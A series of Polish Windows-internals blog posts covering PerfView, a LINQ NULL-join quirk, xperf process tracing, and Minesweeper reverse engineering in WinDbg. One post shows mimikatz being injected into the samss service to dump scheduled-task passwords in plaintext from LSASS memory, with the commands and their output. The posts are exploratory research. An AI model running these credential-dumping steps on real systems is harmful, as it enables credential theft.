Jeśli kogoś zainteresowały możliwości PerfView, to polecam gorąco serię videocastów poświęconą temu właśnie narzędziu: [Vance Morrison o PerfView]

Zagadka

Dla wytrwałych i gotowych do drążenia tematu - zagadka.

Provider rejestrowany jest przez aplikację dynamicznie, skąd więc PerfView wie jaki jest guid naszego providera jeszcze przed uruchomieniem aplikacji?

Ostrożnie z tą siekierką Eugeniuszu!

$
0
0
Wracam do blogowania po dłuższej przerwie (ech, minęło dokładnie dwa lata!).

Jako rasowy programista T-SQL nie byłem entuzjastą Linq2SQL ale postanowiłem się z nim zapoznać bliżej.
Miałem dość archaicznie zbudowaną bazę (nie była mego autorstwa!) i spróbowałem zrobić dość proste zapytanie oparte na złączeniu dwóch tabel.

Przedstawię problem w uproszczeniu nie podając oryginalnych tabel bo by się wydało o jaki system chodzi :)

Tabele są dwie i oto ich definicje:

CREATE TABLE [dbo].[T1](
    [Id] [int] NULL,
    [Col] [varchar](50) NULL,
    [Key] [int] IDENTITY(1,1) NOT NULL,
 CONSTRAINT [PK_T1] PRIMARY KEY CLUSTERED
(
    [Key] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF,
IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

SET ANSI_PADDING OFF



Oraz druga tabela:

CREATE TABLE [dbo].[T2](
    [Id] [int] NULL,
    [Col] [nchar](10) NULL,
    [Key] [int] IDENTITY(1,1) NOT NULL,
 CONSTRAINT [PK_T2] PRIMARY KEY CLUSTERED
(
    [Key] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF,
ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

W aplikacji utworzyłem model w Entity Framework:




Tabele miały następujące dane:

Tabela T1:



Tabela T2:



W LINQ zrobiłem zapytanie łączące te tabel poprzez INNER JOIN.
Złączenie będzie na kolumny null-owalne Id w obu tabelach.

oto fragment programu w C#, który to realizował:



Przy tych danych spodziewałem się dwóch rekordów w wyniku dla id równego 1 i 2.

Uruchomiłem program i otrzymałem wynik:



A co robi tutaj ten rekord podkreślony przez mnie czerwoną ramką? odpowiedź może przynieść jedynie SQL Server Profiler.
Podsłuchując to zapytanie otrzymujemy odpowiedź:



W czerwonej ramce mamy odpowiedź dlaczego otrzymaliśmy taki wynik

OR (([Extent1].[Id] IS NULL) AND ([Extent2].[Id] IS NULL))

Ten fragment zapytania musi budzić trwogę u programisty bazy danych. LINQ po prostu traktuje NULL jako wartość! W Lin2Objects może sobie tak robić ale w Linq2SQL nie ma prawa tak postępować. Edgar Frank Codd przewraca się w grobie.

A wracając do tytułu notki, to fani zespołu Pink Floyd wiedzą o co chodzi. Tym, którzy nie znają polecam ostatnie fragmenty tego utworu.

60. spotkanie WG.NET

$
0
0

Po kilkumiesięcznej przerwie wracamy do spotkań grupy. Kolejne już w najbliższy czwartek, 17.01 o 18.00 w sali 107 Wydziału Matematyki i Nauk Informacyjnych Politechniki Warszawskiej, ul. Koszykowa 75. Tomasz Kowalczyk poprowadzi prezentację "Kinect programowanie w Windows". Poniżej więcej szczegółów:

Agenda
======
1. Co to jest Kinect?
2. Wprowadzenie.
2.1. Kinect – budowa i architektura
2.2. Instalacja Kinect
2.3. Pierwszy projekt
3. Przetwarzanie danych z kamery RGB
4. Praca z kamerą głębokości
5. Tryb Skeletal tracking
6. Audio API
6.1. Rozpoznawanie mowy
7. Wykorzystanie XNA
7.1. Event model
7.2. Pooling model
8. Kinect i aplikacje klient - serwer
9. Licencja aplikacji opartych o Kinect
10. Ciekawe projekty
10.1 Kinsector
10.2 Augmented Reality
10.3 NatuLearn
10.4 Kinect Fusion
10.5 Kinected Browser

No cóż, nie pozostaje mi nic innego jak wszystkich gorąco zaprosić! :))

Xperf a autoruns

$
0
0

Podczas startu systemu uruchamianych jest sporo rozmaitych procesów i zaglądając do menadżera zadań często zadajemy sobie pytanie: "a skąd to się tu wzięło?". Najczęściej w takich przypadkach sięgamy po Autoruns Sysinternals, z pomocą którego możemy precyzyjnie ustalić co jest uruchamiane w czasie startu, nie wspominając w tym momencie o innych możliwościach tego narzędzia.


Rys 1. Autoruns

Podobnie, mając log xperf możemy czasem zapragnąć odtworzyć drzewo procesów i ustalić rzeczywiste pochodzenie danego procesu. Przygotowując log zgodnie z opisem z poprzednich moich wpisów bez trudu będziemy w stanie to zrobić. Dziś dwa przykłady, resztę pozostawiam wyobraźni i inwencji czytelnika.

Process Lifetime

Zaczynamy od sprawdzenia listy procesów wraz z ich czasem życia.


Rys 2. Process Lifetimes & Generic Events

Ładujemy plik .etl do xperfview, znajdujemy 'Process Lifetimes', prawa mysz -> Process Summary Table. Przy okazji polecam zapoznanie się z 'Image Summary Table' - można dowiedzieć się jakie pliki były ładowane - ich wersje, etc.
Dobieramy w kolumnach nazwę, ścieżkę uruchamianego procesu, Process ID, Parent Process ID, sortujemy po Start Time i właściwie mamy wszystko, czego możemy w tym momencie potrzebować.


Rys 3. Process Lifetimes

1. Programy uruchamiane przez explorer.exe.
Na Rys 3 widzimy, że proces z linii 46 (2284) został uruchomiony przez process o ID=1756, czyli explorer.exe z linii 32. Podobnie widzimy, że procesy z linii 45, 47, 50 również mają jako swojego przodka process 1756, a zatem zostały utworzone przez explorer.exe. Możemy się domyślać, że eksplorator załadował te procesy w ramach autostartu.

2. Taskeng
Nieco ciekawiej wygląda sprawa procesów 468 (SmartDefrag.exe), 1068 (AutoUpdate.exe), 1212 (AutoSweep.exe), etc., mających wspólny proces macierzysty - 1980, czyli taskeng.exe. Zauważmy, że nie jest to jedyne wystąpienie procesu o tej nazwie - w linii 34 oraz 35 mamy dwa inne, uruchomione jednak z innymi parametrami command line, a jednym z potomków jednego z tych procesów (1880) jest proces o ID=1968 (GoogleUpdate.exe).
Sam Taskeng.exe jest procesem potomnym procesu svchost.exe (984), który jest hostem m.in. usługi "Harmonogram zadań".

Generic Events

Zajrzyjmy teraz w inne miejsce - do 'Generic Events'. Prawa mysz -> 'Summary Table'. Ustawiamy sobie Provider Name, Event Name, Process Name, Task Name, a z prawej Count, Opcode Name, Time, Task, Opcode i kolejne Field 1, 2, etc.

1. Explorer
Znajdujemy dostawcę o nazwie 'Microsoft-Windows-Shell-Core', rozwijamy listę zdarzeń i znajdujemy 'Microsoft-Windows-Shell-Core/Explorer_ExecutingFromRunKey/win:Start', po czym ponownie rozwijamy. Po dalszych kilku '+' bez trudu odnajdziemy w Field 1 ścieżki do procesów, które widzieliśmy poprzednio na liście procesów. Zauważmy przy okazji, że znaleźliśmy też process runonce.exe (na liście ID=2292) oraz jego proces potomny (AvastUI, 2364), także uruchamiane w ramach tego tasku.


Rys 4. Explorer -> Run

2. Taskeng
Podobnie jak wyżej, rozwijamy provider 'Microsoft-Windows-TaskScheduler', znajdujemy zdarzenie 'Microsoft-Windows-TaskScheduler/task:JobExecute/win:Start' i klikając dalsze '+' dochodzimy do listy zadań, które bez trudu odnajdziemy w Harmonogramie zadań. Nieco niżej znajdziemy zadanie 'Microsoft-Windows-TaskScheduler/task:LogonTrigger/win:Info', czyli zestaw zadań uruchomionych podczas logowania. W pozostałych polach znajdziemy takie informacje jak UserContext (tudzież UserName), czy InstanceId, ale o tym innym razem.


Rys 5. Task scheduler - spojrzenie z xperf

Gdy przyjrzymy się jeszcze raz procesom z Process Lifetimes oraz ich odpowiednikom w Generic Events, to okaże się, że każda instancja taskeng.exe powiązana jest z innym użytkownikiem i to ona uruchamia kolejne zadania.

Dzięki prostemu powiązaniu listy procesów ze zdarzeniami, które nie mają swojego dedykowanego wykresu i trafiły do Generic Events udało nam się zrekonstruować źródła tworzenia procesów, co na pewno może ułatwić podjęcie decyzji co z nimi dalej robić: zachować, czy jednak usunąć.

W ten oto piękny sposób dotarliśmy do miejsca będącego wstępem do kolejnego wpisu, w którym popatrzymy, co też możemy wygrzebać z lsass.exe odnośnie harmonogramu zadań i dlaczego następujące wywołanie:
LogonUserW("@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAMEA3AQNAEEADBwMAMDA0AQLAQEAwAANAcDAtAANAcDA3AwQA0CABBANAQDA4AQLAIDAGBQQAkDACBAMAADACBAOAIDA0AQNA0HA", NULL, NULL, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, 0x0000000001635648)
w ramach usługi "Task Scheduler" kończy się sukcesem i utworzeniem żetonu użytkownika, pomimo przedziwnej nazwy użytkownika i nulla w miejscu domeny i hasła.

61. spotkanie WG.NET

$
0
0

Tym razem gośćmi WG.NET będą Tomek Onyszko oraz Maciej Aniserowicz, którzy opowiedzą o tym "jak hartował się claim … czyli rzecz o tym jak pojęcie tożsamości i kontroli dostępu ewoluowało a rozwiązanie uniwersalne z tego powstało było i jak go w kodzie używać. Rzecz w dwóch odsłonach"

1. Claim jaki jest każdy widzi, czyli w czym rzecz, jak to działa i co to znaczy – Tomek Onyszko
2. Jaki jest widać, ale jak go użyć – test driven learning by %

Pozostaje mi już tylko zaprosić wszystkich w najbliższy czwartek, 28.02 na godzinę 18.00 do sali 328 Wydziału Matematyki i Nauk Informacyjnych Politechniki Warszawskiej, ul. Koszykowa 75.


LogonUser & TaskEng, cz. 1

$
0
0

Miesiąc temu pisałem o analizie logów ETW w odniesieniu do informacji, jakie możemy znaleźć w Sysinternalsowych autorunsach i zatrzymaliśmy się na ustaleniu jakie zadania zaplanowane uruchamiane są w trakcie startu systemu. Dziś przyjrzymy się nieco bliżej samemu startowi zadań.

Harmonogram zadań

Zacznijmy od utworzenia zadania. Jestem zalogowany jako Admin1, jednak zadanie (uruchomienie cmd.exe) ma być wykonane przez użytkownika admin2. Podczas zapisywania zadania poproszony jestem o wpisanie hasełka użytkownika admin2, które grzecznie zapodaję.

Rys 1. Ustawienia testowego zadania

Zadanie mamy gotowe, teraz spróbujmy je uruchomić. Zaczynamy od uruchomienia API Monitora i ustawienia monitorowania usługi Task Scheduler.
Zadanie uruchamiamy ręcznie - na liście procesów pojawił się proces taskeng.exe działający w kontekście użytkownika admin2 oraz pochodny do niego cmd.exe, jako właściwe zadanie zlecone w konfiguracji, również uruchomione jako admin2.

Rys 2. Drzewo procesów usługi Scheduler

Na liście uchwytów procesu hosta usługi Scheduler pojawia się dodatkowy żeton powiązany z użytkownikiem admin2. Możemy się więc domyślać, że gdzieś nastąpiło uwierzytelnienie użytkownika admin2 i ślad tego znajdziemy w zapisie API Monitora.

Rys 3. API Monitor - LogonUserW & CreateProcessAsUserW

Zaglądamy zatem do okna APIMona, przyglądamy się parametrom funkcji LogonUser i co widzimy? Nazwa użytkownika to jakiś nic nie mówiący ciąg znaków, a hasło i domena = NULL. Funkcja zwraca TRUE, a utworzony żeton trafia do funkcji CreateProcessAsUser, która tworzy proces taskeng.exe z odpowiednimi parametrami. Ale zaraz, jak? Tak bez hasła?

Poniżej lista parametrów funkcji LogonUserW oraz CreateProcessAsUserW z APIMona:

LogonUserW
# Type Name Pre-Call Value Post-Call Value
1 LPTSTR lpszUsername 0x00000000033be230 "@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAIDABBQMAQEAzAQMAEDAyAQLAkDA1AgNAMDAtAANAgDA1AgNA0CA4AAMAMEAzAQLAEDAFBQRAYDABBQQAIEA3AgNAYEADBgNA0HA" 0x00000000033be230 "@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAIDABBQMAQEAzAQMAEDAyAQLAkDA1AgNAMDAtAANAgDA1AgNA0CA4AAMAMEAzAQLAEDAFBQRAYDABBQQAIEA3AgNAYEADBgNA0HA"
2 LPTSTR lpszDomain NULL NULL
3 LPTSTR lpszPassword NULL NULL
4 DWORD dwLogonType LOGON32_LOGON_BATCH LOGON32_LOGON_BATCH
5 DWORD dwLogonProvider LOGON32_PROVIDER_DEFAULT LOGON32_PROVIDER_DEFAULT
6 PHANDLE phToken 0x0000000001a6b6b8 = 0xffffffffffffffff 0x0000000001a6b6b8 = 0x00000000000004c8

CreateProcessAsUserW
# Type Name Pre-Call Value Post-Call Value
1 HANDLE hToken 0x0000000000000cd0 0x0000000000000cd0
2 LPCTSTR lpApplicationName 0x000007fefa20b9c0 "taskeng.exe" 0x000007fefa20b9c0 "taskeng.exe"
3 LPTSTR lpCommandLine 0x0000000001a65d10 "taskeng.exe {88636F2B-B600-45DC-8A24-A3401806953A} S-1-5-21-580747136-2243477503-2994681153-1004:VM7\admin2:Password:LUA" 0x0000000001a65d10 "taskeng.exe {88636F2B-B600-45DC-8A24-A3401806953A} S-1-5-21-580747136-2243477503-2994681153-1004:VM7\admin2:Password:LUA"
4 LPSECURITY_ATTRIBUTES lpProcessAttributes NULL NULL
5 LPSECURITY_ATTRIBUTES lpThreadAttributes NULL NULL
6 BOOL bInheritHandles FALSE FALSE
7 DWORD dwCreationFlags BELOW_NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT BELOW_NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT
8 LPVOID lpEnvironment 0x000000000325aed0 0x000000000325aed0
9 LPCTSTR lpCurrentDirectory NULL NULL
10 LPSTARTUPINFO lpStartupInfo 0x0000000001d6f090 = { cb = 0x00000000, lpReserved = NULL, lpDesktop = 0x000007fefa200e94  ...} 0x0000000001d6f090 = { cb = 0x00000000, lpReserved = NULL, lpDesktop = 0x000007fefa200e94  ...}
11 LPPROCESS_INFORMATION lpProcessInformation 0x0000000001a65b88 = { hProcess = NULL, hThread = NULL, dwProcessId = 0x00000000  ...} 0x0000000001a65b88 = { hProcess = 0x0000000000000b80, hThread = 0x00000000000001ec, dwProcessId = 0x000009a4  ...}

Dla porównania utworzyłem drugie zadanie: user admin3, a nazwa użytkownika przekazana do LogonUserW zgadzała się tylko do pewnego miejsca:
@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAY

LogonUser

Dokumentacja funkcji LogonUser oczywiście milczy - w parametrze password ma być password, a user name może być co najwyżej postaci user@domain, a wówczas domain może być NULL.
Odpowiedzi należy szukać w strukturze USERNAME_TARGET_CREDENTIAL_INFO, która zawiera odniesienie do poświadczeń, które po przekształceniu przez funkcję CredMarshalCredential można w postaci tekstowej przekazać do funkcji LogonUser.
Używamy zatem funkcji CredUnMarshalCredential i sprawdzamy, co też kryje się w polu UserName naszej struktury:

LPCTSTR testStr = TEXT("@@CyBAAAAUBQYAMHArBwUAMGAoBQZAQGA1BAbAUGAyBgOAQFAhBwcAsGA6AweAIDABBQMAQEAzAQMAEDAyAQLAkDA1AgNAMDAtAANAgDA1AgNA0CA4AAMAMEAzAQLAEDAFBQRAYDABBQQAIEA3AgNAYEADBgNA0HA");
CRED_MARSHAL_TYPE credType;
PVOID credential = NULL;
PUSERNAME_TARGET_CREDENTIAL_INFO target;

if(CredUnmarshalCredential(testStr, &credType, &credential))
{
  target = (PUSERNAME_TARGET_CREDENTIAL_INFO) credential;
}

i otrzymujemy:

(*target).UserName = "TaskScheduler:Task:{2A1D3112-9563-4856-80C3-1EE6AAB76FC6}"

Po przeszukaniu rejestru trafiamy na jedno wystąpienie tego GUIDa:

C:\Windows\system32>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Schedule\CredWom\S-1-5-21-580747136-2243477503-2994681153-1004"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom
\S-1-5-21-580747136-2243477503-2994681153-1004
    Count    REG_DWORD    0x1
    Index    REG_SZ    {2A1D3112-9563-4856-80C3-1EE6AAB76FC6}

który powiązany jest z SIDem admin2

>PsGetsid.exe admin1

SID for VM7\admin1:
S-1-5-21-580747136-2243477503-2994681153-1003

>PsGetsid.exe admin2

SID for VM7\admin2:
S-1-5-21-580747136-2243477503-2994681153-1004

>PsGetsid.exe admin3

SID for VM7\admin3:
S-1-5-21-580747136-2243477503-2994681153-1005

a tuż obok niego mamy oczywiście sam task:

C:\Windows\system32>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Schedule\TaskCache\Tree\mgrzeg\Task1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
he\Tree\mgrzeg\Task1
    Id    REG_SZ    {0CA98720-47BB-4F3B-B07D-B4D0B0695B00}
    Index    REG_DWORD    0x3

C:\Windows\system32>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Schedule\TaskCache\Tasks\{0CA98720-47BB-4F3B-B07D-B4D0B0695B00}"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
he\Tasks\{0CA98720-47BB-4F3B-B07D-B4D0B0695B00}
    Path    REG_SZ    \mgrzeg\Task1
    Hash    REG_BINARY    091FD988913AEF5F194C2A2AC9B972E08DAC1067525EDFE8DC6B5C
5B19F084A7
    Triggers    REG_BINARY    150000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00
FFFFFFFFFFFFFF000000000000000038214400484848486650632448484848004848484848484800
4848484848484801000000484848481C00000048484848010500000000000515000000807F9D22FF
BFB88541357FB2EC030000484848481A0000004848484856004D0037005C00610064006D0069006E
00320000006B000000484848484848380000004848484800000000FFFFFFFF80F40300FFFFFFFF07
000000000000000000000000000000000000000000000000000000000000000000000000000000
    DynamicInfo    REG_BINARY    030000000000000000000000DF73838FAC24CE010113040
000000000

Bliższe przyjrzenie się (również na koncie systemowym) zawartości kluczy rejestru powiązanych z usługą Scheduler nic nie daje - nie wygląda na to, żeby hasła usług były gdziekolwiek w nim zapisane.
Wiemy jednak, że mamy do czynienia z poświadczeniem (credential), które być może przechowywane jest w systemowym Menadżerze poświadczeń. Zaglądamy tam zatem i odnajdujemy dwa zapisane poświadczenia w ramach poświadczeń rodzajowych (generic credentials).

Rys 4. Menadżer poświadczeń

A więc to tu! Ale zaraz, momencik, nie tak prędko - przecież za uruchamianie zadań odpowiada usługa systemowa, więc co mają do tego poświadczenia znajdujące się w magazynie użytkownika? Szybko usuwam zatem oba poświadczenia, na wszelki wypadek restartuję system i próbuję uruchomić zadanie - działa jak wcześniej. Tak - to tylko kopia i szczerze nie wiem do czego wykorzystywana.

OK, zatem spróbujmy zajrzeć do menadżera poświadczeń systemu. Użyjemy w tym celu nieco zmodyfikowanej wersji Credential Set Managera i wszystko staje się jasne! :)

Jak widać na zrzucie, mamy poświadczenia obu naszych zadań, jednak w tym miejscu nie jesteśmy w stanie odczytać haseł. Jak się okazuje, dla poświadczeń typu  CRED_TYPE_DOMAIN_PASSWORD dostęp do bloba z hasłem mają wyłącznie "Authentication Packages", czyli biblioteki uwierzytelnień załadowane przez LSASS, ale o tym w części drugiej - o ile ktoś jeszcze będzie zainteresowany :)

CredCPAU

Jakiś czas temu pisałem o narzędziu CPAU i podałem przykład skryptu PS, które pozwala na offline’owe odczytanie pary user/password dla pliku .job CPAU. Troszkę słabo jak na narzędzie przechowywujące hasła. Dałem zadanie, nad którym nikt się do dziś nie pochylił (nie pierwszy i nie ostatni raz, ech :( ), ale nie o tym chciałem mówić.

Skoro bowiem istnieje taki sposób zapisania hasła, że zwykły użytkownik (a właściwie proces działający w kontekście takiego użytkownika) nie ma możliwości podejrzenia go, to może warto spróbować z tego skorzystać? Tak też naprędce powstał CredCPAU, czyli narządko, które pozwala na uruchamianie w trybie interaktywnym procesów w kontekście innego użytkownika, używając do tego celu poświadczeń zapisanych w credential managerze. Narzędzie jest słabiutko przetestowane, ale dla chętnych dostępne - piszcie.

Całość oczywiście sprowadza się do żonglowania CredEnumerate + CredMarshalCredential + LogonUser + CreateProcessAsUser, przy czym trzeba dodatkowo pamiętać o uprawnieniach do interaktywnego zestawu Window Station + Desktop. Dodatkowym problemem jest odpowiednie zapisanie poświadczenia - jak widać na powyższym zrzucie, Task scheduler zapisuje je jako Domain:batch, a nam zależy na Domain:interactive, więc cała zabawa polega na znalezieniu odpowiedniego bitu w polu Flags struktury Credential :) No i na koniec - użytkownik musi mieć przywilej SeAssignPrimaryTokenPrivilege, dzięki któremu będzie mógł zmienić podstawowy żeton procesu. Reszta już z górki :)

LogonUser & TaskEng, cz. 2

$
0
0

W części pierwszej wskazałem miejsce, w którym przechowywana jest para user/password, jednak wspomniałem, iż z kodu użytkownika nie ma za bardzo szans na wyciągnięcie jej, vide opis struktury CREDENTIAL:

"If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages."

Jak widać, hasło jest _plaintext_, jednak aby się do niego dobrać, musimy skorzystać z kawałka kodu działającego w ramach LSASS, który wykona niedostępne dla nas CredIEnumerate (nieudokumentowana), CrediReadDomainCredentials, a wynikowe poświadczenia dodatkowo potraktuje LsaUnprotectMemory.

Z pomocą przychodzi nam tu świetny mimikatz Benjamina Delpy, a dokładniej biblioteka sekurlsa.dll. Uruchamiamy mimikatz (jako administrator):

>mimikatz.exe
mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Jan 23 2013 19:49:52) */
// http://blog.gentilkiwi.com/mimikatz

Ustawiamy sobie przywilej debugowania

mimikatz # privilege::debug
Demande d'ACTIVATION du privilcge : SeDebugPrivilege : OK

Wciskamy sekurlsa.dll do usługi samss

mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Security Accounts Manager
SERVICE(samss).ServiceStatusProcess.dwProcessId = 528
Attente de connexion du client...
Serveur connecté r un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS
[CIAP]

Odczytujemy poświadczenia z pamięci procesu lsass:

mimikatz # @getCredman full

[CIAP]
Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : VM7$
Domaine d'authentification  : WORKGROUP
        credman :
         * [0] Target   : Domain:batch=TaskScheduler:Task:{21E1C13A-0231-4FDB-BC
89-454F1F286F67} / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : VM7\admin3
               [0] User : VM7\admin3
               [0] Cred : Pa$$w0rd3

         * [1] Target   : Domain:batch=TaskScheduler:Task:{2A1D3112-9563-4856-80
C3-1EE6AAB76FC6} / <NULL>
         * [1] Comment  : <NULL>
         * [1] User     : VM7\admin2
               [0] User : VM7\admin2
               [0] Cred : Pa$$w0rd1

Nie przejmujcie się francuskim - ze względu na dużą popularność tego narzędzia Benjamin zdecydował się przejść na angielski i ostatnie (i przyszłe) wersje będą już w tym języku.

Saper - wyszukiwanie wzorca a bomby

$
0
0

Wróćmy do naszego przykładu z saperem. Jakiś czas temu opisałem metodę na 'rozminowanie' z wykorzystaniem informacji znajdujących się w symbolach - wystarczyło sięgnąć do tablicy rgBlk i odpowiednio interpretując dane mieliśmy to, co nas interesowało.
Aby dobrać się do interesujących nas danych nie musimy mieć jednak dostępnych symboli, wystarczy, że będziemy wiedzieć skąd te dane wyłuskać.

Podając przepis na rozminowanie pola przygotowałem tabelkę z symbolami oraz informacją o ich możliwych rozmiarach - przyjrzyjmy się bliżej sąsiadom tablicy rgBlk:

1005330 winmine!cBombStart 4
1005334 winmine!xBoxMac 4
1005338 winmine!yBoxMac 8
1005340 winmine!rgBlk 864

Zauważmy, że moglibyśmy to zapisać w postaci:

typedef struct _Bomby {
 DWORD32 cBombStart;
 DWORD32 xBoxMac;
 DWORD32 yBoxMac;
 DWORD32 alignment;
 BYTE rgBlk[832];
} Bomby;

Wystarczy zatem, że będziemy wiedzieli gdzie znajduje się jeden z elementów tej struktury, a pozostałe odnajdziemy dodając odpowiedni offset. Przyjrzyjmy się bliżej symbolowi cBombStart:

0:000> x winmine!cBombStart
01005330          winmine!cBombStart = <no type information>

Mamy zatem interesujący nas adres. Troszkę sobie utrudnijmy i sprawdźmy, czy gdzieś w obszarze obrazu winmine nie występuje odwołanie do tego adresu:

0:000> lmvm winmine
start    end        module name
01000000 01020000   winmine    (pdb symbols)          c:\websymbols\winmine.pdb\3B7D84751\winmine.pdb
    Loaded symbol image file: winmine.exe
    Image path: C:\WINDOWS\system32\winmine.exe
    Image name: winmine.exe
    Timestamp:        Fri Aug 17 22:54:13 2001 (3B7D8475)
    CheckSum:         0002B641
    ImageSize:        00020000
    File version:     5.1.2600.0
    Product version:  5.1.2600.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     winmine
    OriginalFilename: WINMINE.EXE
    ProductVersion:   5.1.2600.0
    FileVersion:      5.1.2600.0 (xpclient.010817-1148)
    FileDescription:  Entertainment Pack Minesweeper Game
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

Następnie przeszukujemy całą intesujący nas zakres

0:000> s -b 01000000 L?0x00020000 0x30 0x53 0x00 0x01
010036c3  30 53 00 01 ff 35 34 53-00 01 e8 6e 02 00 00 ff  0S...54S...n....
010036ff  30 53 00 01 75 c2 8b 0d-38 53 00 01 0f af 0d 34  0S..u...8S.....4
01003721  30 53 00 01 a3 94 51 00-01 89 3d a4 57 00 01 89  0S....Q...=.W...

Sprawdźmy adresy z wyników wyszukiwania:

0:000> ln 010036c3 
(0100367a)   winmine!StartGame+0x49   |  (0100374f)   winmine!MakeGuess
0:000> ln 010036ff 
(0100367a)   winmine!StartGame+0x85   |  (0100374f)   winmine!MakeGuess
0:000> ln 01003721 
(0100367a)   winmine!StartGame+0xa7   |  (0100374f)   winmine!MakeGuess

A zatem odwołanie do cBombStart występuje w funkcji StartGame. Zobaczmy zatem samą funkcję:

0:000> u winmine!StartGame L37
winmine!StartGame:
0100367a a1ac560001      mov     eax,dword ptr [winmine!Preferences+0xc (010056ac)]
0100367f 8b0da8560001    mov     ecx,dword ptr [winmine!Preferences+0x8 (010056a8)]
01003685 53              push    ebx
01003686 56              push    esi
01003687 57              push    edi
01003688 33ff            xor     edi,edi
0100368a 3b0534530001    cmp     eax,dword ptr [winmine!xBoxMac (01005334)]
01003690 893d64510001    mov     dword ptr [winmine!fTimer (01005164)],edi
01003696 750c            jne     winmine!StartGame+0x2a (010036a4)
01003698 3b0d38530001    cmp     ecx,dword ptr [winmine!yBoxMac (01005338)]
0100369e 7504            jne     winmine!StartGame+0x2a (010036a4)
010036a0 6a04            push    4
010036a2 eb02            jmp     winmine!StartGame+0x2c (010036a6)
010036a4 6a06            push    6
010036a6 5b              pop     ebx
010036a7 a334530001      mov     dword ptr [winmine!xBoxMac (01005334)],eax
010036ac 890d38530001    mov     dword ptr [winmine!yBoxMac (01005338)],ecx
010036b2 e81ef8ffff      call    winmine!ClearField (01002ed5)
010036b7 a1a4560001      mov     eax,dword ptr [winmine!Preferences+0x4 (010056a4)]
010036bc 893d60510001    mov     dword ptr [winmine!iButtonCur (01005160)],edi
010036c2 a330530001      mov     dword ptr [winmine!cBombStart (01005330)],eax
010036c7 ff3534530001    push    dword ptr [winmine!xBoxMac (01005334)]
010036cd e86e020000      call    winmine!Rnd (01003940)
010036d2 ff3538530001    push    dword ptr [winmine!yBoxMac (01005338)]
010036d8 8bf0            mov     esi,eax
010036da 46              inc     esi
010036db e860020000      call    winmine!Rnd (01003940)
010036e0 40              inc     eax
010036e1 8bc8            mov     ecx,eax
010036e3 c1e105          shl     ecx,5
010036e6 f684314053000180 test    byte ptr winmine!rgBlk (01005340)[ecx+esi],80h
010036ee 75d7            jne     winmine!StartGame+0x4d (010036c7)
010036f0 c1e005          shl     eax,5
010036f3 8d843040530001  lea     eax,winmine!rgBlk (01005340)[eax+esi]
010036fa 800880          or      byte ptr [eax],80h
010036fd ff0d30530001    dec     dword ptr [winmine!cBombStart (01005330)]
01003703 75c2            jne     winmine!StartGame+0x4d (010036c7)
01003705 8b0d38530001    mov     ecx,dword ptr [winmine!yBoxMac (01005338)]
0100370b 0faf0d34530001  imul    ecx,dword ptr [winmine!xBoxMac (01005334)]
01003712 a1a4560001      mov     eax,dword ptr [winmine!Preferences+0x4 (010056a4)]
01003717 2bc8            sub     ecx,eax
01003719 57              push    edi
0100371a 893d9c570001    mov     dword ptr [winmine!cSec (0100579c)],edi
01003720 a330530001      mov     dword ptr [winmine!cBombStart (01005330)],eax
01003725 a394510001      mov     dword ptr [winmine!cBombLeft (01005194)],eax
0100372a 893da4570001    mov     dword ptr [winmine!cBoxVisit (010057a4)],edi
01003730 890da0570001    mov     dword ptr [winmine!cBoxVisitMac (010057a0)],ecx
01003736 c7050050000101000000 mov dword ptr [winmine!fStatus (01005000)],1
01003740 e825fdffff      call    winmine!UpdateBombCount (0100346a)
01003745 53              push    ebx
01003746 e805e2ffff      call    winmine!AdjustWindow (01001950)
0100374b 5f              pop     edi
0100374c 5e              pop     esi
0100374d 5b              pop     ebx
0100374e c3              ret

Mamy zatem 3 instrukcje, w których występuje odniesienie do cBombStart. Adres cBombStart poprzedzony jest ciągiem:
a3
80 08 80 ff 0d
a3
